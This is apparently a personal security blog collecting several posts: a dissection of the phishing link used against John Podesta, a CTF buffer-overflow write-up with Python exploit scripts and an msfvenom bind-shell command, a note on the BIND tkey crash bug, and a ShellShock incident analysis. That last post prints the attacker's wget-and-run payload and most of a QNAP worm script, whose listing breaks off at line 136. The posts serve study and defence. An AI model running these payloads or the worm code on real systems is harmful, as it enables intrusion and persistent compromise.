We Live in Interesting Times

I shouldn't, but I couldn't resist a couple of comments on the issue of those darn Ruskies hacking the election.

Please be aware that my goal is to be completely non-political.  I just think that from the technical, security perspective, there are some interesting things going on here worth looking at.

---

The first comment is simply to point to what is far and away the best overviews I've seen on the Grizzle Steppe release by DHS.

Before you read it though, let me point out that the author does steer into what might be considered politics every now and then.  I encourage you to just avert your eyes, and focus on the discussion of the Grizzly Steppe IOCs.

http://www.thedailybeast.com/articles/2017/01/06/how-the-u-s-enabled-russian-hack-truthers.html

The comments in the article by Robert Lee and Robert Graham are, I think, spot on.

If you're interested in diving into this report in more detail, here's a much more in-depth critique of the report by Robert Lee:

http://www.robertmlee.org/critiques-of-the-dhsfbis-grizzly-steppe-report/

In my opinion, irrespective of your politics, DHS did not endear themselves to the security community with this one.  It comes off as a huge bureaucratic CYA exercise because somebody in authority said very loudly, "DO SOMETHING!!".  It only succeeded in generating a lot of work for folks defending stuff, and I doubt much good came of it.

---

Here's the other thing I thought was interesting.  While we don't have access to the technical data underlying the assessment of the DNC hack, it turns out we have very good insight into the hacking of John Podesta's gmail account - which was a different compromise but was related due to Podesta's involvement with the election.

The paper below describes in detail how, due to an opsec mistake by the attackers, researchers at SecureWorks were able to compromise some phishing campaigns which they believe were run by APT28.  The compromise allowed them to directly identify the targets of these phishing campaigns, and to develop an estimate of which targets were successfully compromised.

https://www.secureworks.com/research/threat-group-4127-targets-google-accounts

It's a good read if you want to understand how one mistake can lay bare an entire cyber attack program.  It also describes the mechanics of how the attackers led their victims to a fake Google password change page.

In a related display of cosmic irony - included in the leak of John Podesta's email to Wikileaks, is the phishing email which appears to have resulted in the compromise of his email and therefore the leak his emails to Wikileaks. :-)

After reading the SecureWorks paper, let's see why the Podesta hack could be part of that campaign...

We know from the email dump in Wikileaks, that Podesta received a phishing email purporting to be from Google, encouraging him to change his password, and conveniently providing a URL he could use to change it.  The URL he was provided was:
https://bit.ly/1PibSU0

(Note: as a rule, I don't go to Wikileaks, but if you want to see the source email thread, it's available at: https://wikileaks.org/podesta-emails/emailid/36355)

Some URL shortners, including bit.ly, have a feature where if you append a '+' sign to the shortened URL, they take you to a page which shows where the shortened URL redirects you to.  Using that feature, we can examine the URL from the phishing email (notice the appended '+'):
 https://bit.ly/1PibSU0+

which shows us that Podesta was ultimately sent to:

http://myaccount.google.com-securitysettingpage.tk/security/signinoptions/password?e=am9obi5wb2Rlc3RhQGdtYWlsLmNvbQ%3D%3D&fn=Sm9obiBQb2Rlc3Rh&n=Sm9obg%3D%3D&img=Ly9saDQuZ29vZ2xldXNlcmNvbnRlbnQuY29tLy1RZVlPbHJkVGp2WS9BQUFBQUFBQUFBSS9BQUFBQUFBQUFCTS9CQldVOVQ0bUZUWS9waG90by5qcGc%3D&id=1sutlodlwe

Based on what we learned in the SecureWorks paper, we can decode the components of that URL to see that:

am9obi5wb2Rlc3RhQGdtYWlsLmNvbQ== --> john.podesta@gmail.com
Sm9obiBQb2Rlc3Rh --> John Podesta
Sm9obg== --> John
Ly9saDQuZ29vZ2xldXNlcmNvbnRlbnQuY29tLy1RZVlPbHJkVGp2WS9BQUFBQUFBQUFBSS9BQUFBQUFBQUFCTS9CQldVOVQ0bUZUWS9waG90by5qcGc= --> //lh4.googleusercontent.com/-QeYOlrdTjvY/AAAAAAAAAAI/AAAAAAAAABM/BBWU9T4mFTY/photo.jpg

That was the information which was used to construct the web page used to trick him into providing his Google password.  BTW, that last URL brings up the publicly available picture that Google uses for Podesta's Google applications.

The actual web site which displayed the fake Google password change page is no longer up, but we can see in the SecureWorks paper what it looked like.

Based on this research, it seems pretty clear that Podesta had been phished by the group documented by SecurityWorks.  Based on the contents of the email thread, it's very likely that the attack succeeded and that this attack resulted in his email being compromised.

Here are some screen shots showing these steps:

Here's email thread showing the URL in the phishing email.

In the same email thread, Podesta's IT support team mistakenly decides that the email is legitimate and they need to change the password for his email account. This is why I think it's likely the phishing attack was successful.

Here's the bit.ly page showing where the URL in the phishing email redirects him to (notice the URL in my browser's address box):

BTW, the frozen "2 Clicks" statement in the above suggests that the bit.ly URL was used twice before they locked it down.  This may be further evidence that the phishing attack was successful.

The next screen shot just shows me using the base64 utility to decode the portions of the URL which show this attack was directed at Podesta, and that a customized bit.ly redirection had been established for him (Note: I translated the '%3D' in the URL to the '=' that it represents.)

And finally, here's the publicly available Google page which is pointed to by the last argument in the phishing URL.  This is used to make the fake password change page more believable.

---

I would just finish by observing that while the "big guys" in the industry sometimes have access to data that the rest of us never see, often we can peek under the hood and see a lot of the same stuff they see.

As security folks, I think it's fair to say that we live in interesting times!  :-)

"tyro" ... really?

The following falls somewhere between being an attempt to provide you with a useful guide on exploiting a vulnerable program, and therapy for me.  :-)

This year's DEFCON was, as usual, fantastic.  Since I've been working recently on trying to develop some offensive skills, I thought it would be fun to play around with the OpenCTF which was being held at DEFCON.  yeah, right.

I won't go much into the rest of the OpenCTF, other than to say it was fantastic and I highly recommend giving it a try.

After my team-mate, Ron, and I had dispatched with all the low hanging fruit we could find, we turned our attention to what seemed like the main attraction to the first level in the game - a series of services over the network.  They were named "tyro_" and then some type of vulnerability.  For example, "tyro_heap" or "tyro_infoleak1".  Tyro - noun: a beginner or novice. Perfect, some nice warmups before we get to the real challenges.

What made these challenges especially appealing was that you could download the program providing the "service".  This means that you could transfer it to your own machine, load it up into a debugger and plumb its secrets utilizing whatever 31337 forensics and reverse engineering tools you have at your disposal.  Cool, what could go wrong with that?  My DEFCON Black Badge was within grasp.

Like every self-respecting DEFCON attendee, I had built a special laptop to take to DEFCON.  In order to be prepared for whatever DEFCON threw my way, I had loaded it with several different virtual machines.  Far and away the most important tool I loaded on my machine was a spanking clean, brand new VM running Kali.  And since bigger and newer is better, it was the 64 bit, rolling update, distribution of Kali. No running out of virtual memory for this hacker.  :-)

That turned out to be my undoing.

So when Ron and I started playing with the "tyro" challenges on my laptop, we hit a bit of a snag.  Although they were certainly Linux executable binaries, they all would not run.  Turns out that the 64 bit Kali distribution I had didn't have the right libraries to run these particular 32 bit binaries.  Ouch!

Rather than wax eloquent on the sequence of wrong turns and wasted time that followed I'll just state:

• Several other folks at the CTF managed to overcome this problem.  But despite helpful suggestions from others I never figured out how to get that Kali image to run these challenges.  Although I could be wrong, I think the way that the rolling update is configured, combined with my ignorance, prevented these helpful suggestions from working. I'm sure there was a way to get it working, I just couldn't figure it out.
• In any other situation, my solution would have been to download the 32 bit Kali image and use that.  But the "safe" DEFCON network was too slow (e.g. 12+ hours to download the ISO), I wasn't willing to try the "unsafe" network, and any other options I had were even slower.

I ended up eventually moving on to other things at DEFCON, and I brought home some challenges to play with at my leisure.
__________________________________________________________

Several weeks after DEFCON I finally had some time to play with one of the "tyro" challenges, "tyro_overflow1".  In hopes of helping others avoid my mistakes, here's a description of how I managed to "figure out this challenge.


When you run the executable (on the 32-bit Kali distribution) the program prints it's name and then prompts you for input, "Can you trigger the success function?".  If you type in some short string, it says "Got ", followed by your input, an exclamation point, and then exits.

hmmm, this is "tyro_overflow" ... what are the chances that by providing a long input string I can overflow some buffer and find a vulnerability?

Well, that's interesting.  If the input is too long, the program crashes.  Let's pursue this in more detail.  To the debugger!

If it's not already clear, I'm still a beginner at the offensive side of security.  So far the only Linux debugger I've had any experience with is "edb" (Evan's Debugger).   To start edb with the challenge program:

edb --run ./tyro_overflow1_0601e9d93a2ff84ae7a85dc199fa8233 

Once edb is up and had the challenge loaded, we can start by running the challenge and seeing if we can reproduce the crash that we've discovered.

In edb, select "run" twice (from the "Debug" menu) to run the program (the first "run" will load the program and then pause it.)

Now is a good time to observe one of the nasties the creators of this challenge left for us.  When the challenge starts running, it sets an alarm which terminates the program after 30 seconds.  So once you start the program running you have 30 seconds to provide the input before it aborts.  Here's an example of that (using the Unix "time" function so you can see how long it takes to abort.)

When you start running the challenge, a simple window will pop up with the output from tyro_overflow. You can also provide input to the program in this window.

A natural first step is to reproduce our long string which crashed the program, and see if edb can help us figure out how to take advantage of this vulnerability.

YEEEHAW!!! You can see in the screen-shot above that when I provided the long strings of 'A's to the program, the debugger caught the resulting crash.

Here's what's really exciting about that crash ... the program crashed because it tried to execute code at an invalid address.  But look at the address it tried to execute, hex 41414141.  For those of you who haven't memorized the ASCII codes, hex 41 is the ASCII code for 'A'!

What we're seeing is that somehow, 4 of the 'A's that I fed the program got used as an address for it to go to.  That means that by adjusting my input I can make the program go to any address I want!  (Ignoring the possibility that my input may get munged somehow.)  Talk about raw power! This discovery is the key to compromising this program.  Everything from here on is just building on my ability to force the program to goto an address I specify.

At this point in my investigation, I manged to snatch defeat from the jaws of victory.  But it might be interesting anyway, and it's therapeutic for me, so I'll describe the path I took to finally understanding this challenge.

Based on what I've been studying recently, the 'conventional' path that one takes when exploiting a buffer overflow like this goes along the lines of:

• Identify where in the input we're actually providing the address to goto.
• Figure out how to provide some malicious code for the compromised program to run.  This is typically the "shell code" that we often embed in the overly long input. 
• Figure out how to make the program execute the shell code.  This can be tricky because you usually don't know ahead of time what address your shell code is going to end up at.  If it always ended up at the same address, you could just use your control of where the computer goes, to go to your shell code.

Once I came down from the adrenaline high of controlling where the program goes, I began to address the question of which one of the many 'A' that I typed are actually the ones which control where the program goes.  Kali includes a really neat Metasploit tool for doing this.  Behold!

The tool pattern_create creates a string which has the property that any two character string occurs only once.  In the command above, I created a 200 character string.  When I reran the challenge under edb, and pasted this special string into the input windows, the program crashed again - but this time at a different address which came from the input string.

(BTW, you can paste into the window that edb provides by using the middle mouse button. On most mice, this is done by pushing down on the scroll wheel.)

The address it crashed at, hex 37654136, came from 4 characters in the input string.  The companion program to pattern_create, pattern_offset, will tell me where in the input string these 4 characters are. (Yes, I could do this by hand, but I have a computer to do it for me)

So now I've found that it's the 4 characters starting at 140 characters into the input string which control where the program goes.  Just to double check, let's create a prototype exploit program and prove that we know how to control where the challenge program goes.
___________________________________

#!/usr/bin/python

# Test program to verify that we can make
# tyro_overflow go to an address we specify

padding1 = 'A' * 140   # pad out to 140

jmpAddr = 'BBBB'       # where we say to goto

padding2 = 'C' * 100   # just to make sure input is big

exploitString = padding1 + jmpAddr + padding2

print exploitString

 ___________________________________

When we run our new program, we get the following output:

When we paste the string from our new program into tyro_overflow, we get the following crash:

which shows that our exploit was able to make tyro_overflow goto the address Hex 42424242 (which is the ASCII for 'BBBB' that we used as the address.)

Up to this point, everything I've done can be used for the working exploit (although as I'll point out later, some of it was unnecessary.)

However, from here I went down the wrong path.  Eventually I had back up and try a different route.  Nobody every said this stuff was easy!  I'll briefly show what I did anyway, it's interesting and under some circumstances it would have been correct.

At this point, I started to look at what the state of the various system registers during the crash.

• You can see the current value of a register by double-clicking on it (the registers are in the upper right of the display.)
• If you right-click in the "Data Dump" area, you can select "Goto Address" to make the Data Dump area show you the contents of memory at a specific address.

Using these tools, I discovered that the "ESP" register (aka the extended stack pointer) was pointing to the next character in in my input string after the "address" of BBBB.  This is fantastic!  This means that right after I put the address to goto, I can load up my input string with shell code with no size restrictions (if I had to use the string before the address, it probably would be limited to 140 bytes of shell code which might have been tight.)

I won't go into detail on how to produce the shell code, but if you're interested, I generated it with another Metasploit tool ....

 msfvenom -p 'linux/x86/shell_bind_tcp' LPORT=31337 -n 20 -e x86/alpha_mixed -f python

This produced a string I could include in a python program. The string corresponded to shell code which would have started a shell on the system and listened for connections on port 31337.  But as I mentioned above, this turned out to be the wrong approach to compromising this application.

The final step necessary to complete this compromise would have been to find some pre-existing code that I could direct the computer to which would in turn execute my shell code.

Keep in mind, I've discovered that the ESP register is now pointing directly to my shell code.  All I need to do is find code already in place which will reliably jump to the address in ESP.

And this is where my world came apart.  In the "Plugins" menu, edp has an "OpcodeSearcher" tool which will search for specific instructions in memory.  This tool is intended for just this type of use, and using it I found numerous 'jmp ESP' instructions (search for "ESP -> EIP") However, none of the ones I tried stayed in the same memory location between program runs.  This made it impossible for me to reliably find a way to jump to my shell code.  There may be a bit of code somewhere that would have worked, but I hadn't found it when I decided to try other approaches. 

Here is where I got back on the right path ... almost!

While I was using edb to look at the input string in the Data Dump window, I happened come across the place in memory where tyro_overflow stores the strings which is uses.

Notice that the string "/bin/sh" is there along with the other strings we've seen the program use.  Wow! Where does the program use this string? Does it already have "shell code", just waiting for me to jump to?  Could this be what the message "Can you trigger the success function" refer to?

I'll tell you now, the answer to the last 2 questions is yes and yes. :-)

So here's the final trick which eluded me until I looked up somebody else's solution to this challenge.

Looking in the data dump, we can see that the string '/bin/sh' resides in memory starting at address Hex 08048700.  Any code in the program which uses this string must somehow refer to this memory address when it invokes /bin/sh.  So I spent a fair amount of time using the edb Reference Searcher plugin trying to find code which referred to this memory location.  When that didn't pan out, I tried using the Binary Searcher to search for any part of the program which had this memory address in it.  No dice.

What was I doing wrong?  This had to be the right approach!

Finally, I looked a somebody else's (Blast Hardcheese) solution - and it all became clear.

The mistake I made was that when I searched for 08048700, i.e. the address of the string '/bin/sh', I didn't take into account that on Intel x86 computers, addresses are stored in 'little endian' format.  This means that the actual bytes in memory are stored in opposite order than we read them.  Instead of searching for 08048700, I should have searched for 00870408.  If I had, I would have found the following little snippet of code:

You can see in the 4th line that the address of the string '/bin/sh' (08048700) is loaded into the stack and then some subroutine is called.  That's enough to show that this is the routine we need to call.

Remember, we know that the program will go to whatever address starts at the 140th character in our input string.  So if we put Hex 0804858d (which is where the code above starts) in the input string there, we'll end up running the code which uses '/bin/sh'.  WoooHoooo!

One last detail remains, which is to discover by trial and error that this routine actually reads a command from the user input to execute when it calls /bin/sh.

Although not critical to success, I also discovered that there is no need for the input string to extend beyond the address to goto.  So it only needs to be 144 characters long.

So here's the essence of the exploit:

• Overly long input will cause the program to read 4 bytes starting at the 140th character in the input and goto that address. BTW, those 4 bytes need to be in little endian format.  :-)
• At Hex 0804858d is a routine which will read the next line of input, and execute that command in /bin/sh
• So we provide an input string which has the hex value 0804858d starting at the 140th character.
• On the next line, provide a command to execute

Here's the final exploit:
___________________________________

#!/usr/bin/python

# exploit a buffer overflow in the OpenCTF challenge, tyro_overflow

padding = ('A' * 140)  # Overflow the input with 140 characters

jmpAddr = '\x8d\x85\x04\x08'  # 0x0804858d in little endian format

exploitString = padding + jmpAddr

print exploitString

print "uname -a"   # just a command to show it worked

___________________________________

And here it is in action:

Here's the other writeup which helped me figure out what I was missing:

https://ctftime.org/writeup/3643

What? No Logo?

As is appropriate for a blog named "We're Doomed", I've rousted myself out of a deep summer slumber to comment on the tkey bug in Bind.

We're doomed!

I've always been attracted to the single packet kill, and that's what this effectively is (the POC I have actually sends a few packets, but I don't think they're all necessary.

The Bind software is one of the foundations of the Internet.  It's software which does DNS translation, converting the string "www.google.com" into its actual address on the Internet.  Unless you're given to memorizing IP addresses (in which case, you must love IPv6), DNS needs to up and working for you to use the Internet.

Tuesday, a bug in Bind was announced which allows anyone who can send a DNS query to a Bind server to crash it. Just like that ... somebody can crash any Bind server they can reach. Quickly.  Easily.  Indiscriminately.

Watch ...

Here's how to download, compile and execute the attack in six easy steps:

Here's the victim's perspective:

Now, imagine a script running this against ... whatever.

I would encourage you to download the POC made available by Robert Graham (see the second reference below.)  It's very nicely commented C code that describes the bug in some detail.  BTW, the code is designed to be portable between most OS.  The Git archive for this POC also provides a Windows .exe (which I have not tested.)

If you're responsible for DNS somewhere and you somehow depend on Bind (i.e. some commercial DNS solutions use Bind), stop reading this and test and deploy the patch now! 

Here are some references:

• https://www.isc.org/blogs/cve-2015-5477-an-error-in-handling-tkey-queries-can-cause-named-to-exit-with-a-require-assertion-failure/
• https://github.com/robertdavidgraham/cve-2015-5477/
• http://blog.erratasec.com/
• http://arstechnica.com/security/2015/07/major-flaw-could-let-lone-wolf-hacker-bring-down-huge-swath-of-internet/

A little ShellShock fun

Recently I had the good luck to be the victim of an attack/probe that attempted to exploit the ShellShock (aka bash-shell) vulnerability.  Of course it didn't work, but it was fun to poke at.

The initial attack consisted of a connection to a web server with a bash exploit embedded in the HTTP header:

URL: "/cgi-bin/authLogin.cgi"  
HTTP header included: "User-Agent: () { :; }; /bin/rm -rf /tmp/S0.sh && /bin/mkdir -p /share/HDB_DATA/.../php && /usr/bin/wget -c http://185.14.30.79/S0.sh -P /tmp && /bin/sh /tmp/S0.sh 0<&1 2>&1 " 

This looks like fun! 

It's very clear here what the exploit it trying to do.  The User-Agent is passed to the application as an environment variable.  This sets up the bash vulnerability, which proceeds to executes code to delete any previous copies of itself, grab a copy of S0.sh from a distribution point aand execute it.  Let's also grab a copy and see what we get.


First though, let's think about safety for a second.  We know this is a malicious attack, so we have to assume that there might be some nasty surprises to be found.  Here are some of the precautions that I took (you may decide to take others)

1. The initial attack appears to be a simple shell script, so it should be safe to download and view.  Despite that, I spun up a VM with no sensitive data or access, to work on this.  Probably overly paranoid, but don't forget that /bin/less was recently compromised.
2. In the spirit of being paranoid, I decided not to expose an IP address I care about to the attacker.  If the attacker wants to, he/she might be able to determine from their logs when non-infected machines connect to there server.  No point in giving them a more interesting target to attack.
3. If I were to get to the point of executing malicious code (which, in this case, I didn't) I would be even more paranoid about building a stand-alone environment.

So after taking these precautions, I grabbed a copy of S0.sh (see the listing below) and started to look.

The good news is that they didn't try to obfuscate the code.  In fact, we'll see there are even a few comments left.

Line 3 looks to me like an attempt to cover their tracks a bit.  There won't be any tell-tale commands floating around an an account's command line history.

Line 5 is the first really interesting part.  Interestingly, this is the same IP that the initial exploit downloaded S0.sh from.  In my copy of the exploit, this address resolves to gaspolo.uaservers.net.  Doing a quick web search for this hostname brings up a record on a blacklist site where somebody complained three days ago about "hacking" from that site.   It's nice to see that I'm not alone.  :-)

S0.sh consists of two main parts ... the first part does the initial setup and downloads additional programs, and then the second part installs the worm and executes some additional commands.

On line 10 we can see that they're starting to make decisions based on the architecture of the machine running S0.sh.  Lines 10 - 90 handle downloading the new programs and setting up the environment for them to run in (for the ARM architecture).   Lines 91-176 handle Intel 686 processors (essentially 32 bit Intel) and lines 177 - 226 are for 64 bit Intel machines.  Although the sections are different in some ways, they're essentially the same:

• They download two files, and install them on the machine
• They set up a script "autorun" to run those two files. 
• For the ARM and 686 architectures, they install a package manager (the "Itsy" package manager)
• They start ssh on port 26 (e.g. see line 168)

In the second part of the script, which begins around line 227, all three architectures run the same code

• They add an account named "request" (on line 233)
• I'm running John against the password hash.  But I don't have a 31337 password cracking rig so I don't expect much. :-)
• They install a patch against the ShellShock bug (see line 246)
• I believe this is why they installed the Itsy package manager
• If it's not already there, they download a program named "run" to a hidden directory, which they then run (line 252, 263)
• A comment (line 250) implies this is the scanner
• They reboot the machine

Unfortunately, my analysis of this script is limited and ends here.  By the time I got around to trying to analyze this script, the server which provides the downloaded files was no longer responding.  Either the load of providing these files to all the infected machines has overwhelmed it, it's being subject to a DOS attack, or it's been taken down.  Given that my download attempts timed out, versus my getting a file not found or a RST, I tend to favor the first two theories.  In any event, I was unable to grab a copy of the other files from this server.

Note BTW the comment on line 6, which hints at another possible site to get this software.  Do Not Just Blindly Go There!  Attempts to collect the files from there just produce an attempt by that site to redirect you to a known malicious site, bodisparking.com. 

Based on the patch which is installed, it's clear that this worm is trying to compromise QNAP devices (qnap.com ).   QNAP is a provider of network storage devices, including devices intended for home or small business use.   While it seems likely that compromised QNAP devices are being used to scan for more victims (the reference to scan on line 250), it remains unclear what additional use the attackers make of compromised machines.

One final bit of information: The server which was attacked with this script, actually has seen several other identical attacks from numerous sources.  However, no other machines "nearby" it have been attacked.  That's a bit odd, normally attackers try an attack and then move on, they don't keep hitting the same machine with the same attack.  My guess is that the compromised machines form a botnet which is where the attacks originate from.  However if the command & control server is unreachable (which is implied by the download server timing out), the servers are all stuck scanning the same list of addresses instead of receiving updated scanning instructions.... resulting in my one server being hit repeatedly.

Update 12/21/2014: So the line of reasoning above turns out to be completely wrong.  Based on a suggestion, I dug deeper and was surprised to discover that only one of the many Internet facing servers actually listens on port 8080, so it's the only one which is seeing this probe.  Sometimes, the explanation to something is *way* simpler than you expect.  :-)

So that's it.  The investigation accomplished my primary objective, which was to assess the risk of this attack to the machine being attacked.  I can safely say that the machine being attacked by this worm is not at risk.

My secondary goal was to understand why the machine was being attacked, and to learn something about the methods and intentions of the attackers.  In that goal I was less successful, primarily because I did not succeed in obtaining and analyzing the complete attack package.  But I still learned a lot, and had a lot of fun!

I also learned a good lesson ...  when something like this comes along, you need to jump on it quickly.  The infrastructure associated with an attack is ephemeral, and if you're not prepared ahead of time, and don't investigate it quickly, you may lose your chance. Build that spare VM now!  And think through ahead of time what you're going to do when something like this comes along!

Here's the actual code in S0.sh, which is the code that would be executed if the initial ShellShock attack had succeeded.  The only change I've made is to add line numbers.

 

  1: #!/bin/sh
  2: export PATH=/opt/sbin:/opt/bin:/usr/local/bin:/bin:/usr/bin:/usr/sbin:/mnt/ext/usr/bin:/mnt/ext/usr/local/bin
  3: unset HISTFIE ; unset REMOTEHOST  ; unset SHISTORY ; unset BASHISTORY
  4: os=`uname -m`
  5: ip=185.14.30.79
  6: #wget -P /tmp/  http://qupn.byethost5.com/gH/S0.sh ; cd /tmp/ ; chmod +x S0.sh ; sh S0.sh
  7: #
  8: #
  9: fold=/share/MD0_DATA/optware/.xpl/
 10: if [[ "$os" == 'armv5tel' ]]; then
 11:  echo "nameserver 8.8.8.8" >> /etc/resolv.conf
 12:  mkdir -p /share/MD0_DATA/optware/
 13:  mkdir -p /share/MD0_DATA/optware/.xpl/
 14: wget -c -P /share/MD0_DATA/optware/.xpl/ http://$ip/.cgi
 15: wget -c -P /share/MD0_DATA/optware/.xpl/ http://$ip/.cgi
 16: wget -c -P /share/MD0_DATA/optware/.xpl/ http://$ip/armgH.cgi
 17:   
 18: busybox wget -c -P /share/MD0_DATA/optware/.xpl/ http://$ip/.cgi
 19: busybox wget -c -P /share/MD0_DATA/optware/.xpl/ http://$ip/.cgi
 20: busybox wget -c -P /share/MD0_DATA/optware/.xpl/ http://$ip/armgH.cgi
 21: wget -c -P /home/httpd/cgi-bin/  http://$ip/armgH.cgi
 22: busybox wget -c -P /home/httpd/cgi-bin/  http://$ip/armgH.cgi 
 23:    chmod +x ${fold}.cgi
 24:    chmod 4755 /home/httpd/cgi-bin/armgH.cgi
 25: mv /home/httpd/cgi-bin/armgH.cgi /home/httpd/cgi-bin/exo.cgi
 26: cp /home/httpd/cgi-bin/exo.cgi  ${fold}.exo.cgi
 27: sleep 1
 28: mount -t ext2 /dev/mtdblock5 /tmp/config
 29: sleep 2
 30: echo "/share/MD0_DATA/optware/.xpl/.cgi" >> /tmp/config/autorun.sh
 31: echo " " >> /tmp/config/autorun.sh
 32: echo "cp /share/MD0_DATA/optware/.xpl/.exo.cgi /home/httpd/cgi-bin/exo.cgi" >> /tmp/config/autorun.sh
 33:    sort -u /tmp/config/autorun.sh >> /tmp/a
 34:    mv /tmp/a /tmp/config/autorun.sh
 35:    chmod +x /tmp/config/autorun.sh
 36: echo "sleep 30 && cp -f /opt/sbin/sshd /usr/sbin/sshd && /opt/etc/openssh/sshd_config /etc/ssh/sshd_config && /usr/sbin/sshd -f /etc/ssh/sshd_confg -p 26 & " >> /tmp/config/autorun.sh
 37: echo "sleep 200 && sh `echo ${fold}run` &" >> /tmp/config/autorun.sh
 38: echo 'cp /etc/resolv.conf /share/MD0_DATA/optware/etc' >> /tmp/config/autorun.sh
 39: echo 'cp /etc/hostname /share/MD0_DATA/optware/etc' >> /tmp/config/autorun.sh
 40: echo 'cp /etc/TZ /share/MD0_DATA/optware/etc' >> /tmp/config/autorun.sh
 41: echo 'cp /etc/config/passwd /etc/config/group /etc/config/shadow /share/MD0_DATA/optware/etc' >> /tmp/config/autorun.sh
 42: echo 'rm -rf /opt' >> /tmp/config/autorun.sh
 43: echo 'ln -sf /share/MD0_DATA/optware/opt /opt' >> /tmp/config/autorun.sh
 44: echo '' >> /tmp/config/autorun.sh
 45: echo 'mount -o bind /dev /share/MD0_DATA/optware/dev' >> /tmp/config/autorun.sh
 46: echo 'mount -o bind /proc /share/MD0_DATA/optware/proc' >> /tmp/config/autorun.sh
 47: echo 'mount -o bind /proc/bus/usb /share/MD0_DATA/optware/proc/bus/usb' >> /tmp/config/autorun.sh
 48: echo 'mount -o bind /share/MD0_DATA/Qmultimedia /share/MD0_DATA/optware/mnt/ext/Qmultimedia' >> /tmp/config/autorun.sh
 49: echo 'mount -o bind /share/MD0_DATA/Qmultimedia /share/MD0_DATA/optware/mnt/ext/Qdownload' >> /tmp/config/autorun.sh
 50: echo 'mount -o bind /share/MD0_DATA/Qmultimedia /share/MD0_DATA/optware/mnt/ext/Qusb' >> /tmp/config/autorun.sh
 51: echo 'mount -o bind /share/MD0_DATA/Qmultimedia /share/MD0_DATA/optware/mnt/ext/Qweb' >> /tmp/config/autorun.sh
 52: echo 'mount -o bind /share/MD0_DATA/Qmultimedia /share/MD0_DATA/optware/mnt/ext/Public' >> /tmp/config/autorun.sh
 53: echo '# adding Ipkg apps into system path ...' >> /tmp/config/autorun.sh
 54: 
 55: echo "export PATH=/opt/sbin:/opt/bin:/usr/local/bin:/bin:/usr/bin:/usr/sbin:/mnt/ext/usr/bin:/mnt/ext/usr/local/bin " >> /tmp/config/autorun.sh
 56: 
 57:  cp -af /share/MD0_DATA/optware/Optware-ipkg.sh /share/MD0_DATA/optware.foo/Optware-ipkg.sh
 58:  mkdir -p /share/MD0_DATA/optware/opt
 59:  mkdir /share/MD0_DATA/optware/ipkglib
 60:  cd /
 61:  cp -fr /opt/* /share/MD0_DATA/optware/opt/
 62:  ln -sf /share/MD0_DATA/optware/ipkglib /usr/lib/ipkg
 63:  ln -sf /share/HDA_DATA/optware/ipkglib /usr/lib/ipkg
 64:  rm -rf /opt
 65:  ln -sf /share/MD0_DATA/optware/opt /opt
 66:  cd /share/MD0_DATA/optware/opt 
 67: wget -c http://ipkg.nslu2-linux.org/feeds/optware/cs05q3armel/cross/unstable/ipkg-opt_0.99.163-10_arm.ipk
 68:  tar -xOvzf ipkg-opt_*_arm.ipk ./data.tar.gz | tar -C / -xzvf -
 69: echo 'src cs05q3armel http://ipkg.nslu2-linux.org/feeds/optware/cs05q3armel/cross/stable' >> /opt/etc/ipkg.conf
 70: /opt/bin/ipkg update
 71:  cd /share/MD0_DATA/optware 
 72: /opt/bin/ipkg update 
 73: echo '#!/bin/sh' >> /usr/bin/ipkg
 74: echo 'echo "${$1}lling"'>> /usr/bin/ipkg
 75: echo '/opt/bin/ipkg install  $2 --tmp-dir=/share/MD0_DATA/ '>> /usr/bin/ipkg
 76: chmod 777 /usr/bin/ipkg
 77: ipkg install openssh
 78: sleep 1
 79:  cp -f /opt/sbin/sshd /usr/sbin/sshd
 80:  cp -f /opt/etc/openssh/sshd_config /etc/ssh/sshd_config
 81: sleep 2
 82: /usr/sbin/sshd -f /etc/ssh/sshd_confg -p 26
 83:   cd /
 84:   umount /tmp/config
 85: 
 86:  rm -fr /mnt/update /mnt/HDA_ROOT/update
 87:  umount /mnt/update
 88: 
 89: sleep 1
 90:  rm -fr /mnt/update
 91: elif [[ "$os" == 'i686' ]]; then 
 92:  echo "nameserver 8.8.8.8" >> /etc/resolv.conf
 93:  mkdir -p /share/MD0_DATA/optware/ $fold
 94: 
 95:  
 96: wget -c -P $fold http://$ip/..32
 97: wget -c -P $fold http://$ip/gH.cgi
 98: 
 99: busybox wget -c -P $fold http://$ip/..32
100: busybox wget -c -P $fold http://$ip/gH.cgi
101:  chmod 4755 ${fold}gH.cgi 
102:  chmod 777 ${fold}..32
103: mv ${fold}gH.cgi ${fold}.exo.cgi
104: cp -fr ${fold}.exo.cgi /home/httpd/cgi-bin/exo.cgi
105: 
106: mount /dev/sdx6 /tmp/config
107: echo "`echo ${fold}`..32" >> /tmp/config/autorun.sh
108:    sort -u /tmp/config/autorun.sh >> /tmp/a
109:    mv /tmp/a /tmp/config/autorun.sh
110: echo "cp `echo ${fold}`.exo.cgi /home/httpd/cgi-bin/exo.cgi " >> /tmp/config/autorun.sh
111:    chmod 777 /tmp/config/autorun.sh
112:    cd /
113: 
114: 
115: umount  /tmp/config
116: PUF=`ls -a /dev/s* | grep -v 1 | grep  6 `
117: echo $PUF >> /tmp/az1
118: for LINE in `cat /tmp/az1`; do PAte=`echo $LINE `; /bin/mount -t ext2 $PAte  /tmp/config ; /bin/sleep 1  ; done 
119: export PATH=/opt/sbin:/opt/bin:/usr/local/bin:/bin:/usr/bin:/usr/sbin:/mnt/ext/usr/bin:/mnt/ext/usr/local/bin
120: echo "`echo ${fold}`..32" >> /tmp/config/autorun.sh
121:   cat /tmp/config/autorun.sh | sort -u >> /tmp/a
122:   mv /tmp/a /tmp/config/autorun.sh
123:   cat /tmp/config/autorun.sh | grep -v exo >> /tmp/o
124: echo "cp `echo ${fold}`.exo.cgi /home/httpd/cgi-bin/exo.cgi " >> /tmp/o
125:   mv /tmp/o /tmp/config/autorun.sh
126:   chmod +x /tmp/config/autorun.sh
127: echo 'cp /etc/resolv.conf /share/MD0_DATA/optware/etc' >> /tmp/config/autorun.sh
128: echo 'cp /etc/hostname /share/MD0_DATA/optware/etc' >> /tmp/config/autorun.sh
129: echo 'cp /etc/TZ /share/MD0_DATA/optware/etc' >> /tmp/config/autorun.sh
130: echo 'cp /etc/config/passwd /etc/config/group /etc/config/shadow /share/MD0_DATA/optware/etc' >> /tmp/config/autorun.sh
131: echo 'rm -rf /opt' >> /tmp/config/autorun.sh
132: echo 'sleep 2' >> /tmp/config/autorun.sh
133: echo 'ln -sf /share/MD0_DATA/optware/opt /opt' >> /tmp/config/autorun.sh
134: echo '' >> /tmp/config/autorun.sh
135: echo 'mount -o bind /dev /share/MD0_DATA/optware/dev' >> /tmp/config/autorun.sh
136: echo 'mount -o bind /proc /share/MD0_DATA/optware/proc' >> /tmp/config/autorun.sh
